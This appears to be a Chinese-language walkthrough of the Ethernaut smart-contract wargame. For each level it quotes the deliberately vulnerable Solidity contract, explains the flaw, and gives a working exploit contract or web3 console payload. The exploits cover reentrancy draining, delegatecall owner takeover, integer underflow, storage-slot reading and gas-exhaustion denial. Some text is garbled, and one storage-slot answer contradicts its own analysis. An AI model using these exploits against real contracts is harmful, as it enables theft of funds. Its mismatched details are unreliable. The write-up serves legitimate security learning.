constructor() public {}
?
function setSolver(address _solver) public {
solver = _solver;
}
?
/*
____________/\_______/\\\\_____
__________/\\_____/\///////\___
________/\/\____///______//\__
______/\//\______________/\/___
____/\/__/\___________/\//_____
__/\\\\\\\\_____/\//________
_///////////\//____/\/___________
___________/\_____/\\\\\\\_
___________///_____///////////////__
*/
}分析

主要參考這個鏈接,說的也比較詳細:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

值得注意的一點是合約代碼的長度是不會算構(gòu)造函數(shù)以及構(gòu)造合約的init函數(shù)的。

gatekeeper2題目

過三個檢查

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract GatekeeperTwo {
?
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) – 1);
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

這道題目需要在magicnumber之后做。

第一個check就是部署個合約即可。

第三個利用異或的性質(zhì),將key設(shè)置為addr ^ 0xffffffffffffff即可。

第二個check比較有意思,是利用了assembler,不過含義如字面意思。

caller()指的就是攻擊合約,extcodesize(caller())指的就是攻擊合約的代碼長度,需要使得其長度為0。

這里在之前的magicnumber提到過,合約代碼長度不會算進去構(gòu)造函數(shù)的長度,所以將攻擊函數(shù)直接寫進構(gòu)造函數(shù)即可。

pragma solidity ^0.8.0;
?
interface IGatekeeperTwo {
function enter(bytes8 _gateKey) external returns (bool);
}
?
contract GatekeeperTwo {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
unchecked{
bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) – 1 );
IGatekeeperTwo(levelInstance).enter(key);
}
}
}

由于新版本的solidity都會內(nèi)置整數(shù)溢出檢查,所以在攻擊合約中uint64(0) – 1需要用uncheck修飾。

?

拓展知識:

前沿拓展:


Ethernaut記錄Fallback題目描述

Look carefully at the contract's code below.

You will beat this level if

you claim ownership of the contract

you reduce its balance to 0

Things that might help

How to send ether when interacting with an ABI

How to send ether outside of the ABI

Converting to and from wei/ether units (see help() command)

Fallback methods

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallback {
?
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
?
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
?
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
?
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
?
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}分析

題目的目標是成為這個合約的owner,并且將合約的balance清零。

在源代碼中可以看到,成為合約的owner就代表著需要將合約中的owner賦值為我們的address,有三種方式:

1.調(diào)用contribute函數(shù)

2.調(diào)用receive函數(shù)

這里需要說明一下,constructor函數(shù)是合約的構(gòu)造函數(shù),是合約在初始化的時候建立的,而sender這個全局變量代表的是當前和合約交互的用戶。所以說,contructor函數(shù)的sender不可能是除了創(chuàng)建者之外后續(xù)用戶。

如要調(diào)用contribute函數(shù),則需要向合約轉(zhuǎn)賬,轉(zhuǎn)入的eth大于1000才可以成為onwer,而且每次只能轉(zhuǎn)小于0.001eth,顯然不可行。

那么如果調(diào)用receive函數(shù),只需要轉(zhuǎn)賬大于0即可成為owner。那么這個receive函數(shù)怎么調(diào)用呢?

這個函數(shù)明顯長得就和正常的函數(shù)不一樣,沒有function修飾。

這里的話第一解釋一下什么是fallback

https://me.tryblockchain.org/blockchain-solidity-fallback.html

也就是說,直接向合約轉(zhuǎn)賬,使用address.send(ether to send)向某個合約直接轉(zhuǎn)帳時,由于這個行為沒有發(fā)送任何數(shù)據(jù),所以接收合約總是會調(diào)用fallback函數(shù)?;蛘弋斦{(diào)用函數(shù)找不到時就會調(diào)用fallback函數(shù)。

那么這個fallback和receive又有什么關(guān)系呢?在0.6以后的版本,fallback函數(shù)的寫法就不是這么寫了而是:

fallback() external {
}
receive() payable external {
currentBalance = currentBalance + msg.value;
}

fallback 和 receive 不是普通函數(shù),而是新的函數(shù)類型,有特別的含義,所以在它們前面加 function 這個關(guān)鍵字。加上 function 之后,它們就變成了一般的函數(shù),只能按一般函數(shù)來去調(diào)用。

每個合約最多有一個不帶任何參數(shù)不帶 function 關(guān)鍵字的 fallback 和 receive 函數(shù)。

receive 函數(shù)類型必須是 payable 的,并且里面的語句只有在通過外部地址往合約里轉(zhuǎn)賬的時候執(zhí)行。fallback 函數(shù)類型可以是 payable 也可以不是 payable 的,如果不是 payable 的,可以往合約發(fā)送非轉(zhuǎn)賬交易,如果交易里帶有轉(zhuǎn)賬信息,交易會被 revert;如果是 payable 的,自然也就可以接受轉(zhuǎn)賬了。

盡管 fallback 可以是 payable 的,但并不建議這么做,聲明為 payable 之后,其所消耗的 gas 最大量就會被限定在 2300。

也就是說,只要向合約轉(zhuǎn)賬,就會執(zhí)行receive函數(shù)。具體來說,就是調(diào)用contract.sendTransaction({value : 1})。

所以說,要成為owner要經(jīng)過以下兩個步驟:

1.調(diào)用contribute使contribution大于0

2.向合約轉(zhuǎn)賬,調(diào)用receive,成為owner。

成為owner后,還需要將合約的balance清零,這里需要調(diào)用withdraw函數(shù),也就是執(zhí)行這一句:

owner.transfer(address(this).balance);

this指針指向的是合約本身,這句話的意思就是合約向owner的地址轉(zhuǎn)帳合約所有的balance。

所以,最終的payload就是:

contract.contribute({value: 1})
contract.sendTransaction({value: 1})
contract.withdraw() Fallout題目描述

Level completed!

Difficulty 2/10

Claim ownership of the contract below to complete this level.

Things that might help

Solidity Remix IDE代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
?
?
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
?
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
?
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
?
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
?
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
?
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}分析

提示是用ide看,問題就是他這個構(gòu)造函數(shù)其實不是構(gòu)造函數(shù),F(xiàn)al1out,直接調(diào)用即可。

過關(guān)后,會出現(xiàn)這樣一段話:

That was silly wasn't it? Real world contracts must be much more secure than this and so must it be much harder to hack them right?

Well… Not quite.

The story of Rubixi is a very well known case in the Ethereum ecosystem. The company changed its name from 'Dynamic Pyramid' to 'Rubixi' but somehow they didn't rename the constructor method of its contract:

contract Rubixi {address private owner;function DynamicPyramid() { owner = msg.sender; }function collectAllFees() { owner.transfer(this.balance) }…

This allowed the attacker to call the old constructor and claim ownership of the contract, and steal some funds. Yep. Big mistakes can be made in **artcontractland.

coin flip題目

需要連續(xù)十次猜中硬幣翻轉(zhuǎn)結(jié)果,猜對了就可以過關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract CoinFlip {
?
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}分析

可以看到,每一次猜的值都要與blockhash/factor進行一個比對。這里,blocknumber指的是當前交易的區(qū)塊編號,并不是合約所處的區(qū)塊編號。由于一個塊內(nèi)交易數(shù)量很多,所以我們就可以通過布置一個合約,使其交易行為與驗證的交易打包在一個塊中,這樣blockhash的值就可以提前算出來,重復(fù)十次即可過關(guān)

exp:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor() public {
consecutiveWins = 0;
}
?
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number-1));
?
if (lastHash == blockValue) {
revert();
}
?
lastHash = blockValue;
uint256 coinFlip = blockValue/FACTOR;
bool side = coinFlip == 1 ? true : false;
?
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
?
contract exploit {
CoinFlip expFlip;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
?
constructor (address aimAddr) public {
expFlip = CoinFlip(aimAddr);
}
?
function hack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool guess = coinFlip == 1 ? true : false;
expFlip.flip(guess);
}
}telephone題目

需要成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}分析

這里肯定是調(diào)用changeOwner,知識點就在于tx.origin和msg.sender之間的區(qū)別。

tx.origin (address):交易發(fā)送方(完整的調(diào)用鏈)msg.sender (address):消息的發(fā)送方(當前調(diào)用)

可以認為,origin為源ip地址,sender為上一跳地址。

所以思路就是部署一個合約A,我們調(diào)用這個合約A,而這個合約A調(diào)用題目合約,即可完成利用。

Exp:

pragma solidity ^0.6.0;
?
contract Telephone {
?
address public owner;
?
constructor() public {
owner = msg.sender;
}
?
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract exploit {
?
Telephone target = Telephone(0x298b8725eeff32B8aF708AFca5f46BF8305ad0ba);
?
function hack() public{
target.changeOwner(msg.sender);
}
}token題目

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Token {
?
mapping(address => uint) balances;
uint public totalSupply;
?
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
?
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] – _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
?
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}分析

uint整數(shù)溢出,不會小于0。

exp:

pragma solidity ^0.6.0;
?
?
interface IToken {
function transfer(address _to, uint256 _value) external returns (bool);
}
?
contract Token {
address levelInstance;
?
constructor(address _levelInstance) public {
levelInstance = _levelInstance;
}
?
function claim() public {
IToken(levelInstance).transfer(msg.sender, 999999999999999);
}
}delegation題目

成為合約的owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Delegate {
?
address public owner;
?
constructor(address _owner) public {
owner = _owner;
}
?
function pwn() public {
owner = msg.sender;
}
}
?
contract Delegation {
?
address public owner;
Delegate delegate;
?
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
?
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}分析

有兩個合約,第一個delegate里面有個pwn函數(shù),可以直接獲得owner。第二個合約delegation實例化了delegate,并且定義了fallback函數(shù),里面通過delegeatecall調(diào)用delegate合約中的函數(shù)。

我們經(jīng)常會使用call函數(shù)與合約進行交互,對合約發(fā)送數(shù)據(jù),當然,call是一個較底層的接口,我們經(jīng)常會把它封裝在其他函數(shù)里使用,不過性質(zhì)是差不多的,這里用到的delegatecall跟call主要的不同在于通過delegatecall調(diào)用的目標地址的代碼要在當前合約的環(huán)境中執(zhí)行,也就是說它的函數(shù)執(zhí)行在被調(diào)用合約部分其實只用到了它的代碼,所以這個函數(shù)主要是方便我們使用存在其他地方的函數(shù),也是模塊化代碼的一種方法,然而這也很容易遭到破壞。用于調(diào)用其他合約的call類的函數(shù),其中的區(qū)別如下:1、call 的外部調(diào)用上下文是外部合約2、delegatecall 的外部調(diào)用上下是調(diào)用合約上下文

也就是說,我們在delegation里通過delegatecall調(diào)用delegate中的pwn函數(shù),pwn函數(shù)運行的上下文其實是delegation的環(huán)境。也就是說,此時執(zhí)行pwn的話,owner其實是delegation的owner而不是delegate的owner。

抽象點理解,call就是正常的call,而delegatecall可以理解為inline函數(shù)調(diào)用。

在這里我們要做的就是使用delegatecall調(diào)用delegate合約的pwn函數(shù),這里就涉及到使用call指定調(diào)用函數(shù)的**作,當你給call傳入的第一個參數(shù)是四個字節(jié)時,那么合約就會默認這四個字節(jié)就是你要調(diào)用的函數(shù),它會把這四個字節(jié)當作函數(shù)的id來尋找調(diào)用函數(shù),而一個函數(shù)的id在以太坊的函數(shù)選擇器的生成規(guī)則里就是其函數(shù)簽名的sha3的前4個bytes,函數(shù)前面就是帶有括號括起來的參數(shù)類型列表的函數(shù)名稱。

contract.sendTransaction({data:web3.sha3("pwn()").slice(0,10)});force題目

令合約的余額大于0即可通關(guān)。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Force {/*
?
MEOW ?
/_/ /
____/ o o
/~____ =?= /
(______)__m_m)
?
*/}分析

沒有任何代碼的合約怎么接受eth?這里的話以太坊里我們是可以強制給一個合約發(fā)送eth的,不管它要不要它都得收下,這是通過selfdestruct函數(shù)來實現(xiàn)的,如它的名字所顯示的,這是一個自毀函數(shù),當你調(diào)用它的時候,它會使該合約無效化并刪除該地址的字節(jié)碼,第二它會把合約里剩余的資金發(fā)送給參數(shù)所指定的地址,比較特殊的是這筆資金的發(fā)送將無視合約的fallback函數(shù),因為我們之前也提到了當合約直接收到一筆不知如何處理的eth時會觸發(fā)fallback函數(shù),然而selfdestruct的發(fā)送將無視這一點。

所以思路就是搞一個合約出來,第二自毀,強制給題目合約eth。

contract Force {
address payable levelInstance;
?
constructor (address payable _levelInstance) public {
levelInstance = _levelInstance;
}
?
function give() public payable {
selfdestruct(levelInstance);
}
}vault題目

使得locked == false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Vault {
bool public locked;
bytes32 private password;
?
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
?
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}分析

主要就是猜密碼,看起來密碼被private保護,不能被訪問到,但是其實區(qū)塊鏈上所有東西都是透明的,只要我們知道它存儲的地方,就能訪問到查詢到。

使用web3的storageat函數(shù)即可查詢到特**置的數(shù)據(jù)信息。

web3.eth.getStorageAt(contract.address, 1, function(x, y) {alert(web3.toAscii(y))});king題目

合同代表一個非常簡單的游戲:誰給它發(fā)送了比當前獎金還大的數(shù)量的以太,就成為新的國王。在這樣的**中,被推翻的國王獲得了新的獎金,但是如果你提交的話那么合約就會回退,讓level重新成為國王,而我們的目標就是阻止這一情況的發(fā)生。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract King {
?
address payable king;
uint public prize;
address payable public owner;
?
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
?
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
?
function _king() public view returns (address payable) {
return king;
}
}分析

主要看receive函數(shù),邏輯是先轉(zhuǎn)賬第二再更新king和prize,所以說,如果我們使得程序斷在接受上,即可使得king不被更新。

所以代碼是這樣:

pragma solidity ^0.6.0;
?
contract attack{
constructor(address _addr) public payable{
_addr.call{value : msg.value}("");
}
receive() external payable{
revert();
}
}

接受函數(shù)邏輯就是直接revert,這樣攻擊合約只要發(fā)生了轉(zhuǎn)賬,就會中止執(zhí)行,這樣transfer就不會成功,king也就不會更新。

reentrancy題目

盜取合約中所有余額

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;
?
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
?
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
?
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
?
receive() external payable {}
}分析

這個題目是很著名的re-entrance攻擊,也就是重入攻擊。漏洞點在于withdraw函數(shù)??梢钥吹剿窍日{(diào)用了msg.sender.call{value:_amount}("");第二再在balance里面將存儲的余額減去amount。這里就是可重入攻擊的關(guān)鍵所在了,因為該函數(shù)在發(fā)送ether后才更新余額,所以我們可以想辦法讓它卡在call.value這里不斷給我們發(fā)送ether,因為call的參數(shù)是空,所以會調(diào)用攻擊合約的fallback函數(shù),我們在fallback函數(shù)里面再次調(diào)用withdraw,這樣套娃,就能將合約里面的錢都偷出來。

pragma solidity ^0.8.0;
?
interface IReentrance {
function withdraw(uint256 _amount) external;
}
?
contract Reentrance {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function claim(uint256 _amount) public {
IReentrance(levelInstance).withdraw(_amount);
}
?
fallback() external payable {
IReentrance(levelInstance).withdraw(msg.value);
}
}elevator題目

另top==true

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
interface Building {
function isLastFloor(uint) external returns (bool);
}
?
?
contract Elevator {
bool public top;
uint public floor;
?
function goTo(uint _floor) public {
Building building = Building(msg.sender);
?
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}分析

合約并沒有實現(xiàn)building,需要我們自己定義。從程序的分析來看,top不可能為true。所以我們需要在實現(xiàn)building的時候搞點事情,也就是第一次搞成false,第二次調(diào)用搞成true就好。

pragma solidity ^0.8.0;
?
interface IElevator {
function goTo(uint256 _floor) external;
}
?
contract Elevator {
address levelInstance;
bool side = true;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function isLastFloor(uint256) external returns (bool) {
side = !side;
return side;
}
?
function go() public {
IElevator(levelInstance).goTo(1);
}
}privacy題目

將locked成為false

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Privacy {
?
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
?
constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
?
/*
A bunch of super a**anced solidity algorithms…
?
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,—/V
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}分析

和那個vault一樣,只不過這次的data需要確**置。

根據(jù)32bytes一格的標準,劃分如下

//slot 0
bool public locked = true;
//slot 1
uint256 public constant ID = block.timestamp;
//slot 2
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);//2 字節(jié)
//slot 3-5
bytes32[3] private data;

所以最終的data[2]就在slot5

所以最終查詢:

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})naughty coin題目

NaughtCoin是一個ERC20代幣,你已經(jīng)擁有了所有的代幣。但是你只能在10年的后才能將他們轉(zhuǎn)移。你需要想出辦法把它們送到另一個地址,這樣你就可以把它們自由地轉(zhuǎn)移嗎,讓后通過將token余額置為0來完成此級別。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/token/ERC20/ERC20.sol';
?
contract NaughtCoin is ERC20 {
?
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
?
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
?
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}分析

代碼重載了EC20類,但是沒有完全重載完,所以說可以直接調(diào)用ec20里面的函數(shù)進行轉(zhuǎn)賬。

contract.approve(player,toWei("1000000"))
contract.transferFrom(player,contract.address,toWei("1000000"))preservation題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
contract Preservation {
?
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
?
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}

// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
?
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
?
// Simple library contract to set the time
contract LibraryContract {
?
// stores a timestamp
uint storedTime;
?
function setTime(uint _time) public {
storedTime = _time;
}
}分析

漏洞點還是在delegatecall上,由于不會改變上下文,所以說settime函數(shù)中,將storedtime賦值為time,如果delegatecall調(diào)用,其實是把slot1中的數(shù)據(jù)賦值為time。

所以說第一次setfirsttime將timezone1改掉,改成我們攻擊合約地址,這樣就可以調(diào)用魔改的settime函數(shù)。,第二就可以把owner改掉了。

攻擊合約代碼:

pragma solidity ^0.8.0;
?
contract Preservation {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
?
function setTime(uint256 player) public {
owner = address(uint160(player));
}
}

攻擊流程:

contract.setFirstTime(攻擊合約地址)
contract.setFirstTime(player)recovery題目

合約的創(chuàng)建者已經(jīng)構(gòu)建了一個非常簡單的合約示例。任何人都可以輕松地創(chuàng)建新的代幣。部署第一個令牌合約后,創(chuàng)建者發(fā)送了0.5ether以獲取更多token。后來他們失去了合同地址。目的是從丟失的合同地址中恢復(fù)(或移除)0.5ether。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Recovery {
?
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);

}
}
?
contract SimpleToken {
?
using SafeMath for uint256;
// public variables
string public name;
mapping (address => uint) public balances;
?
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
?
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value.mul(10);
}
?
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = _amount;
}
?
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}分析

主要的難點就是找不到合約的地址,不過所有交易都是透明的,可以直接在etherscan上查到交易,或者直接在metamask錢包里面查看交易就能獲得合約的地址。找到合約地址后調(diào)用destroy函數(shù)就行。

pragma solidity ^0.8.0;
?
interface ISimpleToken {
function destroy(address payable _to) external;
}
?
contract SimpleToken {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
function withdraw() public {
ISimpleToken(levelInstance).destroy(payable(msg.sender));
}
}Alien Codex題目

成為owner

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
?
import '../helpers/Ownable-05.sol';
?
contract AlienCodex is Ownable {
?
bool public contact;
bytes32[] public codex;
?
modifier contacted() {
assert(contact);
_;
}

function make_contact() public {
contact = true;
}
?
function record(bytes32 _content) contacted public {
codex.push(_content);
}
?
function retract() contacted public {
codex.length–;
}
?
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}分析

合約引入了ownable,這樣合約中就多了個owner變量,這個變量經(jīng)過查詢是在slot 0中。

win10 mul

前十六個字節(jié)是contact

win10 mul

win10 mul

可以看到調(diào)用完makecontact就變成1了。

在這個合約里面,可以指定下標元素賦值,且沒有檢查。所以說我們只需要計算出codex數(shù)組和slot0的距離即可改變owner。

codex是一個32bytes的數(shù)組,在slot1中存儲著他的長度。我們要計算出一個元素的下標,如果下標溢出,則會存儲到slot0中。

在Solidity中動態(tài)數(shù)組內(nèi)變量的存儲位計算方法可以概括為:b[X] == SLOAD(keccak256(slot) + X),在這個合約中,開頭的slot為1,也就是他的長度。(換句話說,數(shù)組中某個元素的slot = keccak(slot數(shù)組)+ index)

因此第一個元素位于slot keccak256(1) + 0,第二個元素位于slot keccak256(1) + 1,以此類推。

所以我們要計算的下標就是令2^256 = keccak256(slot) + index,即index = 2^256 – keccak256(slot)

攻擊代碼:

pragma solidity ^0.8.0;
?
interface IAlienCodex {
function revise(uint i, bytes32 _content) external;
}
?
contract AlienCodex {
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function claim() public {
unchecked{
uint index = uint256(2)**uint256(256) – uint256(keccak256(abi.encodePacked(uint256(1))));
IAlienCodex(levelInstance).revise(index, bytes32(uint256(uint160(msg.sender))));
}
}
?
}denial題目

阻止其他人從合約中withdraw。

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract Denial {
?
using SafeMath for uint256;
address public partner; // withdrawal partner – pay the gas, split the withdraw
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
?
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
?
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
?
// allow deposit of funds
receive() external payable {}
?
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}分析

其實看到了call函數(shù)形式的轉(zhuǎn)賬就猜到差不多了,就是fallback函數(shù)的利用。在fallback函數(shù)中遞歸的調(diào)用wiithdraw函數(shù),這樣直到gas用光,就達到目的了。

pragma solidity ^0.8.0;
?
interface IDenial {
function withdraw() external;
function setWithdrawPartner(address _partner) external;
}
?
contract Denial {
address levelInstance;
?
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
?
fallback() external payable {
IDenial(levelInstance).withdraw();
}
?
function set() public {
IDenial(levelInstance).setWithdrawPartner(address(this));
}
}gatekeeper1題目

pass三個check

代碼// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
?
import '@openzeppelin/contracts/math/SafeMath.sol';
?
contract GatekeeperOne {
?
using SafeMath for uint256;
address public entrant;
?
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
?
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
?
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
?
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}分析

第一個check直接用合約交互即可。

第三個check實際上是個截斷問題,也就是說0x0000ffff == 0xffff,所以key值就是tx.origin & 0xffffffff0000ffff

主要的難點在于第二個check,需要設(shè)定執(zhí)行到gatetwo時的gasleft % 8191 == 0。

